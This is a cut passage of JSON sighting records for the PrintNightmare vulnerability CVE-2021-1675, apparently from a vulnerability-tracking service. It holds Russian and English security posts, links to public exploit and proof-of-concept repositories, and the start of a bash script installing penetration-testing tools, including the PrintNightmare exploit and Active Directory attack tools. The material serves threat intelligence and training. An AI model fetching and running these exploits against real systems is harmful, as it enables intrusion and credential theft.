\u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u0438\u043b\u0438 \u0433\u043e\u0441\u0442\u0435\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 RPC-\u0432\u044b\u0437\u043e\u0432 \u043a Print Spooler;\n\ud83d\udd35 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432 spoolsv.exe;\n\ud83d\udd35 \u0441\u043b\u0443\u0436\u0431\u0430 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u043f\u0435\u0447\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 PrintNightmare \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0431\u0430\u0433\u043e\u0432 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0447\u0438\u0441\u0442\u044b\u0439 DoS \u0431\u0435\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0422\u0430\u043a \u0447\u0442\u043e \u043f\u043e\u0440\u0442\u0438\u0442\u044c \u0432\u0430\u043c \u0436\u0438\u0437\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0449\u0438\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Print Spooler \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0433\u0434\u0435 \u043f\u0435\u0447\u0430\u0442\u044c \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u044b \u0441\u0435\u0442\u0438 \u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u27a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.\n\n#blue_team #CVE", "creation_timestamp": "2026-08-14T16:00:03.824269Z"}, {"uuid": "9515985d-dbfd-4ec4-8c5b-41c21baf8ce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/725", "content": "CVE-2021-36934 POC | Hive nightmare\n\nhttps://youtu.be/NojR0HQETgE\n\nCVE-2021-1675 PoC | Print Nightmare part 1\n\nhttps://youtu.be/m0LQvf07fjA\n\nCVE-2021-34481 PoC | Print nightmare part 2\n\nhttps://youtu.be/lulJ6i7Fusc\n\nWindows graphics privileged escalation | CVE-2021-26868 poc\n\nhttps://youtu.be/un_3xC2DX3U\n\nJuly PoC for windows..\n\nFor more videos\nhttps://www.youtube.com/c/rapidsafeguard\n\nShare with your infosec friends\n\n#redteam #rapidsafeguard", "creation_timestamp": "2026-08-09T05:02:33.634979Z"}, {"uuid": "90e4a2e2-aff2-42dd-ba8a-0df78cf0cb64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/991", "content": "Exploit: [Printnightmare]\n\nhttps://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2026-08-09T05:02:33.413113Z"}, {"uuid": "df4e5481-972f-44e6-884e-4575819573b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/bmbtMV3kDPfh5WrAdXEmt6HVLjLyiZ70G2Nfd-UcUIdAsgs", "content": "", "creation_timestamp": "2026-08-12T17:00:04.773850Z"}, {"uuid": "99da1032-e645-4274-b15e-9487a6712ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/725", "content": "CVE-2021-36934 POC | Hive nightmare\n\nhttps://youtu.be/NojR0HQETgE\n\nCVE-2021-1675 PoC | Print Nightmare part 1\n\nhttps://youtu.be/m0LQvf07fjA\n\nCVE-2021-34481 PoC | Print nightmare part 2\n\nhttps://youtu.be/lulJ6i7Fusc\n\nWindows graphics privileged escalation | CVE-2021-26868 poc\n\nhttps://youtu.be/un_3xC2DX3U\n\nJuly PoC for windows..\n\nFor more videos\nhttps://www.youtube.com/c/rapidsafeguard\n\nShare with your infosec friends\n\n#redteam #rapidsafeguard", "creation_timestamp": "2026-08-10T00:00:10.220901Z"}, {"uuid": "92c9075c-63ce-4888-ab73-1a7e5dd7c712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/991", "content": "Exploit: [Printnightmare]\n\nhttps://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2026-08-10T00:00:10.376765Z"}, {"uuid": "b0c4e96e-7c3a-49a5-a3b2-e47fcc9b25b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msw5f6ahd32y", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2021-1675: Windows Print Spooler Remote Code Execution Vulnerability\nCVSS 7.8 \u00b7 EPSS 84.8% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2021-1675\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-12T22:09:11.604430Z"}, {"uuid": "b9446a5b-0283-4e3b-82fa-dd1c7b52f453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/bmbtMV3kDPfh5WrAdXEmt6HVLjLyiZ70G2Nfd-UcUIdAsgs", "content": "", "creation_timestamp": "2026-08-13T00:00:08.098352Z"}, {"uuid": "5452ef86-2bba-4db0-9022-707ddabb7de4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/26b1b487-b250-4a87-9694-acd18c7c3f9c", "content": "", "creation_timestamp": "2026-06-19T12:48:00.531666Z"}, {"uuid": "0621b74d-1fbd-4eec-af1c-f78a53289658", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4a243ab3-93f9-42ca-905e-f18d917df4b6", "content": "", "creation_timestamp": "2026-06-23T14:04:33.952847Z"}, {"uuid": "1986665c-b84a-4cf4-ae72-b44e9cc6a9c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/purp_sec/1291", "content": "\u26a0\ufe0f \u0411\u0430\u0433 \u0432 Windows Print Spooler \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438\u043b\u0438 \u0433\u043e\u0441\u0442\u0435\u0432\u043e\u0439 \u0443\u0447\u0435\u0442\u043a\u043e\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0435\u0447\u0430\u0442\u0438 spoolsv.exe\n\nPrint Spooler (spoolsv.exe) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 Windows, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0447\u0435\u0440\u0435\u0434\u044c\u044e \u043f\u0435\u0447\u0430\u0442\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SYSTEM \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 MS-RPC.\n\nPrint Spooler \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f PrintNightmare (CVE-2021-34527, RCE), CVE-2021-1675 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432) \u0438 PrintDemon (CVE-2020-1048,  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439). \u0418 \u0432\u043e\u0442, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u043e\u043f\u044f\u0442\u044c. \ud83d\udc08\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0430\u0431\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 RPC-\u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0438.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0442\u0440\u0438 \u044d\u0442\u0430\u043f\u0430:\n\n\ud83d\udd35 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u0438\u043b\u0438 \u0433\u043e\u0441\u0442\u0435\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 RPC-\u0432\u044b\u0437\u043e\u0432 \u043a Print Spooler;\n\ud83d\udd35 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432 spoolsv.exe;\n\ud83d\udd35 \u0441\u043b\u0443\u0436\u0431\u0430 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u043f\u0435\u0447\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 PrintNightmare \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0431\u0430\u0433\u043e\u0432 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0447\u0438\u0441\u0442\u044b\u0439 DoS \u0431\u0435\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0422\u0430\u043a \u0447\u0442\u043e \u043f\u043e\u0440\u0442\u0438\u0442\u044c \u0432\u0430\u043c \u0436\u0438\u0437\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0449\u0438\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Print Spooler \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0433\u0434\u0435 \u043f\u0435\u0447\u0430\u0442\u044c \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u044b \u0441\u0435\u0442\u0438 \u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u27a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.\n\n#blue_team #CVE", "creation_timestamp": "2026-08-15T00:00:34.927407Z"}, {"uuid": "a2bd27f3-ebcc-432d-9c90-d344b343c50d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/NinjaSecurity/90", "content": "1. https://github.com/Sachinart/CVE-2025-32432\nCheck for CVE-2025-32432 vulnerability\n#github #exploit\n\n\n2. https://github.com/helidem/CVE-2025-24054-PoC\nProof of Concept for NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n3. https://github.com/ajdumanhug/CVE-2023-46818\nCVE-2023-46818 Python3 Exploit for ISPConfig <= 3.2.11 PHP Code Injection\n#github #exploit\n\n\n4. https://github.com/0x6rss/CVE-2025-24071_PoC\nNTLM hash leak via .library-ms inside ZIP/RAR (CVE-2025-24071)\n#github #poc\n\n\n5. https://github.com/trickest/cve/blob/main/2022/CVE-2022-42092.md\nCVE-2022-42092 \u2013 Backdrop CMS RCE PoC\n#github #exploit\n\n\n6. https://github.com/nomi-sec/PoC-in-GitHub\nAggregated CVE Exploits and PoCs from GitHub\n#github #tool\n\n\n7. https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker\nLinux Container Escape CVE-2022-0492 vulnerability checker\n#github #exploit\n\n\n8. https://github.com/xigney/CVE-2025-24054_PoC\nAlternate NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n9. https://github.com/bipbopbup/CVE-2023-46818-python-exploit\nPython PoC for CVE-2023-46818 in ISPConfig\n#github #exploit\n\n\n10. https://github.com/Marcejr117/CVE-2025-24071_PoC\nNTLM Hash Leak using .library-ms via ZIP trick (CVE-2025-24071)\n#github #poc\n\n\n11. https://github.com/Ostorlab/KEV\nKnown Exploited Vulnerabilities Detector\n#github #scanner\n\n\n12. https://github.com/edoardottt/missing-cve-nuclei-templates\nMissing CVE Detection via Nuclei Templates\n#github #scanner\n\n\n13. https://github.com/hyp3rlinx/Advisories\nZero-Day Security Advisories and Exploits by Hyp3rlinx\n#github #exploit\n\n\n14. https://github.com/Kubashok/apple-cve-repos\nApple CVE Database Links Repository\n#github #cve\n\n\n15. https://github.com/esnet/Seccubus_v2\nSeccubus Test Data for Vulnerability Scanners\n#github #tool\n\n\n16. https://github.com/skordemir/Xml2Ontology\nNessus XML Vulnerability Report Samples\n#github #data\n\n\n17. https://github.com/madirish/hector\nHector: Vulnerability Management Tool with Sample Nessus Reports\n#github #tool\n\n\n18. https://github.com/projectdiscovery/nuclei-templates/issues/8804\nNuclei Template request for ISPConfig CVE-2023-46818\n#github #scanner\n\n\n19. https://github.com/projectdiscovery/nuclei-templates/issues/12020\nNuclei Template PoC Request for CraftCMS CVE-2025-32432\n#github #scanner\n\n\n20. https://github.com/tanjiti/sec_profile\nSecurity Profile Aggregator \u2013 CVE, CISA, NVD, etc.\n#github #intel\n\n\n21. https://github.com/cube0x0/CVE-2021-1675\nPrintNightmare Exploit PoC (CVE-2021-1675 / CVE-2021-34527)\n#github #exploit\n\n22. https://github.com/Maldev-Academy/LsassHijackingViaReg\n\nInjecting DLL into LSASS at boot\n#github #tools\n\n\nOpen-source tools and proof-of-concept (PoC) repositories related to recent CVEs, exploits, and security research. These resources are valuable for educational purposes and can aid students in understanding real-world vulnerabilities and exploitation techniques.", "creation_timestamp": "2026-08-19T21:00:04.331852Z"}, {"uuid": "b8467c61-7dd3-408e-93c4-f30c58d7d98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/stillbigjosh/5a58fa426ea1b76221a6ce2ac9a909f6", "content": "#!/usr/bin/env bash\n# ==============================================================================\n# HTB CPTS Tool Installer \u2014 Parrot OS (HTB Edition)\n# Mirrors ~/tools directory structure from Kali box\n# Usage: bash install-tools.sh [target-dir]   (default: ~/tools)\n# ==============================================================================\n\nset -euo pipefail\n\nTOOLS_DIR=\"${1:-$HOME/tools}\"\nLOG_FILE=\"$TOOLS_DIR/install.log\"\n\nRED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; BLUE='\\033[0;34m'; NC='\\033[0m'\n\nlog()     { echo -e \"${GREEN}[+]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nwarn()    { echo -e \"${YELLOW}[!]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nerr()     { echo -e \"${RED}[-]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nsection() { echo -e \"\\n${BLUE}[*] ===== $* =====${NC}\" | tee -a \"$LOG_FILE\"; }\n\n# ------------------------------------------------------------------------------\n# Helpers\n# ------------------------------------------------------------------------------\n\nclone() {\n    local name=\"$1\" url=\"$2\" dest=\"$3\"\n    if [ -d \"$dest/.git\" ]; then\n        warn \"$name already cloned \u2014 pulling latest\"\n        git -C \"$dest\" pull --quiet 2>/dev/null || true\n    else\n        log \"Cloning $name...\"\n        if git clone --quiet --depth=1 \"$url\" \"$dest\" 2>/dev/null; then\n            log \"$name cloned OK\"\n        else\n            err \"Failed to clone $name ($url)\"\n        fi\n    fi\n}\n\ndownload() {\n    local name=\"$1\" url=\"$2\" dest=\"$3\" exe=\"${4:-true}\"\n    if [ -f \"$dest\" ]; then\n        warn \"$name already exists \u2014 skipping\"\n        return\n    fi\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" -o \"$dest\"; then\n        [ \"$exe\" = \"true\" ] && chmod +x \"$dest\"\n        log \"$name downloaded OK\"\n    else\n        err \"Failed to download $name\"\n    fi\n}\n\ndownload_zip() {\n    local name=\"$1\" url=\"$2\" dest_dir=\"$3\"\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" -o /tmp/_dl.zip && unzip -q /tmp/_dl.zip -d \"$dest_dir\" && rm -f /tmp/_dl.zip; then\n        log \"$name extracted OK\"\n    else\n        err \"Failed to download/extract $name\"\n        rm -f /tmp/_dl.zip\n    fi\n}\n\ndownload_tar() {\n    local name=\"$1\" url=\"$2\" dest_dir=\"$3\"\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" | tar -xz -C \"$dest_dir\" 2>/dev/null; then\n        log \"$name extracted OK\"\n    else\n        err \"Failed to download/extract $name\"\n    fi\n}\n\npip_install() {\n    local tool=\"$1\" path=\"$2\"\n    if [ -f \"$path/requirements.txt\" ]; then\n        log \"pip: installing requirements for $tool...\"\n        pip3 install -r \"$path/requirements.txt\" -q 2>/dev/null || warn \"Some pip requirements failed for $tool\"\n    fi\n    if [ -f \"$path/setup.py\" ]; then\n        log \"pip: setup.py install for $tool...\"\n        pip3 install -e \"$path\" -q 2>/dev/null || warn \"setup.py install failed for $tool\"\n    fi\n}\n\nbuild_make() {\n    local name=\"$1\" path=\"$2\"\n    if [ -f \"$path/Makefile\" ]; then\n        log \"make: building $name...\"\n        (cd \"$path\" && make -s 2>/dev/null) && log \"$name built OK\" || warn \"$name make failed\"\n    fi\n}\n\nbuild_go() {\n    local name=\"$1\" path=\"$2\" out=\"${3:-$name}\"\n    if [ -f \"$path/go.mod\" ]; then\n        log \"go: building $name...\"\n        (cd \"$path\" && go build -ldflags=\"-s -w\" -o \"$out\" . 2>/dev/null) && log \"$name built OK\" || warn \"$name go build failed\"\n    fi\n}\n\n# ==============================================================================\n# PREFLIGHT\n# ==============================================================================\n\npreflight() {\n    section \"Preflight\"\n\n    local missing=()\n    for cmd in git curl wget python3 pip3 go ruby gem make gcc unzip; do\n        command -v \"$cmd\" &>/dev/null || missing+=(\"$cmd\")\n    done\n\n    if [ ${#missing[@]} -gt 0 ]; then\n        warn \"Missing: ${missing[*]} \u2014 installing...\"\n        sudo apt-get update -qq 2>/dev/null\n        sudo apt-get install -y git curl wget python3 python3-pip golang-go ruby ruby-dev \\\n            make gcc g++ libssl-dev libffi-dev python3-dev unzip libpcap-dev 2>/dev/null || true\n    fi\n\n    log \"Creating directory structure...\"\n    mkdir -p \"$TOOLS_DIR\"/{Activedir,Payloads,Pivot}\n    mkdir -p \"$TOOLS_DIR\"/Recon/{Linux,Network,Web,Windows}\n    mkdir -p \"$TOOLS_DIR\"/Privesc/{Windows,Linux,App}\n    > \"$LOG_FILE\"\n}\n\n# ==============================================================================\n# ACTIVE DIRECTORY\n# ==============================================================================\n\ninstall_activedir() {\n    section \"Active Directory Tools\"\n    local D=\"$TOOLS_DIR/Activedir\"\n\n    clone \"adidnsdump\"              \"https://github.com/dirkjanm/adidnsdump.git\"                                    \"$D/adidnsdump\"\n    pip_install \"adidnsdump\"        \"$D/adidnsdump\"\n\n    clone \"Certipy\"                 \"https://github.com/dru1d-foofus/Certipy\"                                       \"$D/Certipy\"\n    pip_install \"Certipy\"           \"$D/Certipy\"\n\n    clone \"CVE-2021-1675\"           \"https://github.com/cube0x0/CVE-2021-1675.git\"                                  \"$D/CVE-2021-1675\"\n\n    clone \"gMSADumper\"              \"https://github.com/micahvandeusen/gMSADumper.git\"                              \"$D/gMSADumper\"\n    pip_install \"gMSADumper\"        \"$D/gMSADumper\"\n\n    clone \"kerbrute\"                \"https://github.com/ropnop/kerbrute.git\"                                        \"$D/kerbrute\"\n    build_go \"kerbrute\"             \"$D/kerbrute\" 